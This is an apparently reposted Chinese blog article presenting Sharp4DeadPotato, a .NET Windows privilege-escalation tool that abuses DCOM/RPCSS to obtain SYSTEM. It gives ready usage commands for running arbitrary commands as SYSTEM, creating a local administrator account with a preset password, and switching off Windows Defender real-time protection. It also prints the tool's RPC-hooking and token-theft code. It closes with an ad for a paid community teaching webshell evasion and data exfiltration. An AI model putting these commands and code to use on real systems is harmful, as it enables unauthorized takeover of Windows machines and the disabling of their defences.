当前位置: 首页 > news >正文

.NET 一款新的内网对抗综合利用工具

01阅读须知

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面

02基本介绍

Sharp4DeadPotato 是 Potato 漏洞利用系列中的一个 Windows 权限提升实用工具。主要通过利用DCOM和 RPCSS的缺陷来获得系统权限。当具有 SeImpersonate 权限的用户在处理 OHAD时,Sharp4DeadPotato 能够提升进程权限至 SYSTEM 级别。这个工具可以通过命令执行、创建管理员账户,甚至关闭 Windows Defender 的实时保护。本文将详细介绍其工作原理、使用方法以及实现代码的解析。

图片

03使用方法

Sharp4DeadPotato 的执行任意命令的使用方法如下:

Sharp4DeadPotato.exe -cmd "whoami"

图片

Sharp4DeadPotato执行创建新的管理员命令的使用方法如下:

Sharp4DeadPotato.exe -newadmin lypd0:DeadPotatoRocks1

该命令将创建用户名为 lypd0,密码为 DeadPotatoRocks1 的本地管理员账户,另外,还可以关闭Windows Defender实时保护。

Sharp4DeadPotato.exe -defender off

04原理解析

Sharp4DeadPotato.exe 的核心原理提供了一个方法 isWindowsDefenderRunning() 来检测 Windows Defender 的实时保护是否开启。该方法通过访问注册表键 SOFTWARE\\Microsoft\\Windows Defender\\Real-Time Protection 并读取 DisableRealtimeMonitoring 值来判断实时保护状态:

public static bool isWindowsDefenderRunning()
{string name = "SOFTWARE\\Microsoft\\Windows Defender\\Real-Time Protection";string name2 = "DisableRealtimeMonitoring";RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64);if (registryKey != null){object value = registryKey.OpenSubKey(name).GetValue(name2);return value == null || !(value is int) || (int)value != 1;}return false;
}

该方法通过注册表读取 Defender 的实时保护设置,如果 DisableRealtimeMonitoring 值为 1,表示保护关闭;否则表示开启。另外,权限提升的核心代码在 elevateCommand() 方法中,该方法负责启动提权过程并执行用户指定的命令。

public static void elevateCommand(string command, bool displayBanner = true)
{TextWriter @out = Console.Out;try{GodPotatoContext godPotatoContext = new GodPotatoContext(@out, Guid.NewGuid().ToString());if (Program.verbose){@out.WriteLine("[*] CombaseModule: 0x{0:x}", godPotatoContext.CombaseModule);@out.WriteLine("[*] DispatchTable: 0x{0:x}", godPotatoContext.DispatchTablePtr);@out.WriteLine("[*] UseProtseqFunction: 0x{0:x}", godPotatoContext.UseProtseqFunctionPtr);@out.WriteLine("[*] UseProtseqFunctionParamCount: {0}", godPotatoContext.UseProtseqFunctionParamCount);@out.WriteLine("[*] HookRPC");}godPotatoContext.HookRPC();if (Program.verbose){@out.WriteLine("[*] Start PipeServer");}godPotatoContext.Start();GodPotatoUnmarshalTrigger godPotatoUnmarshalTrigger = new GodPotatoUnmarshalTrigger(godPotatoContext);WindowsIdentity token = godPotatoContext.GetToken();godPotatoContext.Restore();godPotatoContext.Stop();}
}

GodPotatoContext:该类负责设置上下文信息,并初始化关键的 RPC 函数和 Hook 机制。HookRPC:在此步骤中,程序通过 Hook RPC 机制来劫持目标调用,利用 RPCSS 中的漏洞。GetToken:获取提升后的 WindowsIdentity,并通过该 Token 来执行命令。

综上,Sharp4DeadPotato 是 Windows 平台上强大的权限提升工具,通过利用RPCSS 服务的漏洞,实现了从普通用户到 SYSTEM 权限的提权。

 05.NET安全星球

目前dot.Net安全矩阵星球已成为中国.NET安全领域最知名、最活跃的技术知识库之一,从.NET Framework到.NET Core,每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。

图片

图片

图片

星球文化20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。

图片

    我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。

图片

.NET 免杀WebShell
.NET 反序列化漏洞
.NET 安全防御绕过
.NET 内网信息收集
.NET 本地权限提升
.NET 内网横向移动
.NET 目标权限维持
.NET 数据外发传输

图片


http://www.mrgr.cn/news/34884.html

相关文章:

  • 循环遍历把多维数组中的某个值改成需要的值
  • wpf如何进行数据绑定与动态数据操作?
  • 【电商搜索】现代工业级电商搜索技术-Ha3搜索引擎平台简介
  • 管理方法(11)-- 阿米巴经营
  • 深度学习之表示学习 - 贪心逐层无监督预训练篇
  • eBPF系列:开发流程
  • 数据科学的秘密武器:defaultdict——Python字典的自动化填充神器,让数据结构更灵活
  • python 实现word frequency functions词频函数算法
  • 卷积神经网络(CNN)图像处理与识别原理
  • 汽车HMI:UI设计进入了3D时代,设计师准备好了吗?
  • LabVIEW提高开发效率技巧----使用状态机架构
  • 低侧双向电流检测电路设计
  • GoJs 节点动态添加样式
  • AI驱动TDSQL-C Serverless 数据库技术实战营-Vanna配合ollama分析TDSQL-C Serverless 数据库
  • Mybatis基础操作
  • 奇迹再现!帕金森患者6年后停药,竟能自如行走:背后的故事与启示
  • 【Python】多个dataframe存入excel的不同的sheet表里,而不会被覆盖的方法
  • 全面解析 Apache Pulsar
  • 数据结构(顺序表)
  • lamda表达式例子全集详解